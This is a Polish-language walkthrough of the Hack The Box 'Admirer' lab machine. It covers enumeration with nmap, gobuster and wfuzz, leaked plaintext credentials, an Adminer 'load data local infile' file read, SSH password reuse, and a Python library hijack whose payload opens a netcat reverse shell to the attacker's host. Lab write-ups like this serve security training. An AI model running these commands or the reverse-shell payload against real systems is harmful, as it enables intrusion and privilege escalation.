Hack The Box – Admirer

Hack The Box – Admirer

Rekonesans

Maszyna Admirer pracuje po kontrolą Linuxa. Rekonesans zacząłem o przeskanowania systemu oprogramowaniem nmap.

Namp

root@kali:~/htb/boxes/admirer# nmap -sC -sV -oA nmap 10.10.10.187

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-23 23:34 CEST
Nmap scan report for 10.10.10.187
Host is up (0.055s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.63 seconds

W międzyczasie, za pomocą przeglądarki sprawdziłem czy maszyna serwuje jakąś stronę www. Po prze klikaniu zakładek oraz sprawdzeniu kodu źródłowego nic ciekawego nie znalazłem. Wracamy do wyników skanowania nmap’a. W pierwszej kolejności sprawdziłem port 21, czyli ftp. Niestety próby zalogowania na domyślne konta nie powiodły się. Plik robots.txt oraz katalog admin-dir, wyglądały bardzo interesując, jednak postanowiłem najpierw uruchomić gobuster’a:

Gobuster

root@kali:~/htb/boxes/admirer# gobuster dir -u http://10.10.10.187/ -w /usr/share/wordlists/dirb/common.txt

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.187/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/09/23 23:52:23 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/assets (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
===============================================================
2020/09/23 23:52:47 Finished
===============================================================

Gobuster nie wykrył nic więcej poza robots.txt i admin-dir, które wskazało wcześniejsze skanowanie nmapem.

Robots.txt

Katalog /admin-dir

Postanowiłem przeskanować katalog admin-dir pod kątem znanych plików php,txt, jednak tym razem użyłem wfuzz’a

Wfuzz

root@kali:/usr/share/wordlists# wfuzz -c -w /usr/share/wordlists/rockyou.txt --hc 400,403,404 http://10.10.10.187/admin-dir/FUZZ.txt

root@kali:/usr/share/wordlists# wfuzz -c -w /usr/share/wordlists/rockyou.txt --hc 400,403,404 http://10.10.10.187/admin-dir/FUZZ.txt                                     
                                                                                                                                                                         
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.                
                                                                                                                                                                         
********************************************************                                                                                                                 
* Wfuzz 2.4.5 - The Web Fuzzer                         *                                                                                                                 
********************************************************                                                                                                                 
                                                                                                                                                                         
Target: http://10.10.10.187/admin-dir/FUZZ.txt                                                                                                                           
Total requests: 14344392                                                                                                                                                 
                                                                                                                                                                         
===================================================================                                                                                                      
ID           Response   Lines    Word     Chars       Payload                                                                                                            
===================================================================                                                                                                      
                                                                                                                                                                         
000060559:   200        29 L     39 W     350 Ch      "contacts"                                                                                                         
008927017:   200        11 L     13 W     136 Ch      "credentials"

Parametr –hc ukrywa pliki zwracające kod 400, 404 i 403. W moim przypadku musiałem użyć bardzo dużego słownika, co w znacznym stopniu mogło obciążyć maszynę. Nigdy wcześniej nie korzystałem z wfuzz’a, jeżeli tak ja pierwszy raz z niego korzystasz polecam zapoznanie się z dość starą, ale bardzo przydatną prezentacją.

Plik contacts.txt

##########
# admins #
##########
# Penny
Email: [email protected]


##############
# developers #
##############
# Rajesh
Email: [email protected]

# Amy
Email: [email protected]

# Leonard
Email: [email protected]



#############
# designers #
#############
# Howard
Email: [email protected]

# Bernadette
Email: [email protected]

Plik credentials.txt

[Internal mail account]
[email protected]
fgJr6q#SW:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

FTP Account

W następnym kroku spróbowałem zalogować się na serwer FTP, świeżo odkrytymi poświadczeniami.

root@kali:~/htb/boxes/admirer# ftp 10.10.10.187

Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:root): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.
ftp> 

Plik dump.sql okazał się bezużyteczny, w przeciwieństwie do html.tar.gz, który był kopią instaniejące strony.

Zawartość archiwum html.tar.gz

root@kali:~/htb/boxes/admirer/html# ls -l

razem 28
drwxr-x--- 6 root www-data 4096 cze  6  2019 assets
drwxr-x--- 4 root www-data 4096 gru  2  2019 images
-rw-r----- 1 root www-data 4613 gru  3  2019 index.php
-rw-r----- 1 root www-data  134 gru  1  2019 robots.txt
drwxr-x--- 2 root www-data 4096 gru  2  2019 utility-scripts
drwxr-x--- 2 root www-data 4096 gru  2  2019 w4ld0s_s3cr3t_d1r

Analiza zawartości plików z kopii

W plikach index.php oraz utility-scripts/db-admin.php zapisane były poświadczenia do bazy danych o nazwie admirerdb. Łącząc informacje o nazwach kont(contact.txt) z hasłami poznanymi podczas rekonesansu, próbowałem zalogować się do systemu poprzez SSH. Niestety nie przyniosło to żadnego efektu. Interesujący natomiast wydał się katalog utility-scripts, postanowiłem sprawdzić czy taka sam ścieżka istnieje na obecnym serwerze. Katalog istniał, ale zwracał kod 403. Ponownie postanowiłem sprawdzić dostępne pliki/katalogi na serwerze używając wfuzz’a.

root@kali:/usr/share/wordlists# wfuzz -c -w /usr/share/wordlists/dirb/big.txt --hc 400,403,404 http://10.10.10.187/utility-scripts/FUZZ.php


********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.187/utility-scripts/FUZZ.php
Total requests: 20469

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                        
===================================================================

000000015:   403        9 L      28 W     277 Ch      ".htaccess"                                                                                                    
000000016:   403        9 L      28 W     277 Ch      ".htpasswd"                                                                                                    
000001873:   200        51 L     235 W    4158 Ch     "adminer"
000009618:   200        964 L    4976 W   84027 Ch    "info"                                                                                                         
000013866:   200        0 L      8 W      32 Ch       "phptest"  

Adminer.php

Na serwerze znajdowało się oprogramowanie do zarządzania bazami danych o nazwie Adminer. Niestety próby zalogowania się do bazy odkrytymi poświadczeniami nie przyniosły żadnych efektów. Pozostało więc poszukanie exploita. Okazało się, iż wersja 4.6.2 jest podatna, jak dla mnie na nietypowy atak.

Przygotowałem lokalną bazę danych oraz użytkownika i za pomocą Adminera zalogowałem się na serwer. Atak polega na wyciągnięciu zawartości pliku umieszczonego na serwerze Adminera. Z wcześniejszej analizy zawartości kopii, zauważyłem, iż dane do logowania umieszczone są w pliku index.php, dlatego zawartość tego pliku interesowała mnie najbardziej.

Komenda SQL:

load data local infile '../index.php'
into table dump_data
fields terminated by "n"

Dane wyciągnięte z pliku index.php

User.txt

Bardzo często użytkownicy wykorzystują te same hasła do różnych usług. Nie inaczej było w tym przypadku. Za pomocą SSH zalogowałem się na usera waldo i odczytałem flagę z user.txt

root@kali:/usr/share/wordlists# ssh [email protected]

[email protected]'s password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ cat user.txt 
dd28dec370ba6a4c363a73abb8a656b4
waldo@admirer:~$ 

Enumeracja

W pierwszej kolejności poprzez sudo -l sprawdziłem gdzie, możemy używać podwyższonych uprawnień.

waldo@admirer:~$ sudo -l

[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

Następnie do katalogu tmp wgrałem linpeas.sh.

waldo@admirer:/opt/scripts$ cd /tmp/
waldo@admirer:/tmp$ ls
vmware-root
waldo@admirer:/tmp$ wget http://10.10.14.32:8000/linpeas.sh
--2020-09-25 15:07:19--  http://10.10.14.32:8000/linpeas.sh
Connecting to 10.10.14.32:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 233677 (228K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                                 100%[=====================================================================================>] 228.20K   551KB/s    in 0.4s    

2020-09-25 15:07:20 (551 KB/s) - ‘linpeas.sh’ saved [233677/233677]

waldo@admirer:/tmp$ 

Okazało się, iż najważniejszym miejscem jest /opt/scripts/ zawierający dwa skrypty.

waldo@admirer:/opt/scripts$ ls -l

total 8
-rwxr-xr-x 1 root admins 2613 Dec  2  2019 admin_tasks.sh
-rwxr----- 1 root admins  198 Dec  2  2019 backup.py

Plik admin_tasks.sh nie zawierał nic co mógłbym wykorzystać, ale odpowiedzialny był za uruchomienie pliku backup.py. Skupiłem, więc swoją uwagę na pliku backup.py, który był podatny na library hijacking. Podatność polega na podmianie importowanego modułu, w tym przypadku shutil.py i funkcji make_archive. Problemem okazał się fakt, iż nie mogłem utworzyć nowego pliku w /opt/scripts. Na szczęście waldo posiadał uprawnienia SETENV dla admin_task,sh, co dało mi możliwość zmodyfikowania środowiska python przy wykonywaniu skryptu. W katalogu /tmp utworzyłem nowy plik o nazwie importowanego modułu shutil.py

Fragment pliku admin_tasks.sh

backup_web()                                                                                                                  
{                                                                                                                             
    if [ "$EUID" -eq 0 ]                                                                                                      
    then                                                                                                                      
        echo "Running backup script in the background, it might take a while..."                                              
        /opt/scripts/backup.py &                                                                                              
    else                                                                                                                      
        echo "Insufficient privileges to perform the selected operation."                                                     
    fi                                                                                                                        
}             

Zawartość podmienionego pliku shutil.py

import os
def make_archive(a,b,c):
        os.system("nc 10.10.14.32 9000 -e /bin/bash")

Następnie uruchomiłem:

sudo PYTHONPATH=/tmp/ /opt/scripts/admin_tasks.sh 6.
Co zestawiło reverse shell’a do mojej konsoli.

Podsumowanie

Odnalezienie słabych punktów nie było takie łatwe, głównie przez zbyt małe słowniki przy fuzzingu, teraz wiem, iż aktualizacja słowników jest bardzo ważna. Zdobycie wiedzy z zakresu obsługi wfuzza, zaliczam na duży plus.

Comments

No comments yet. Why don’t you start the discussion?

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *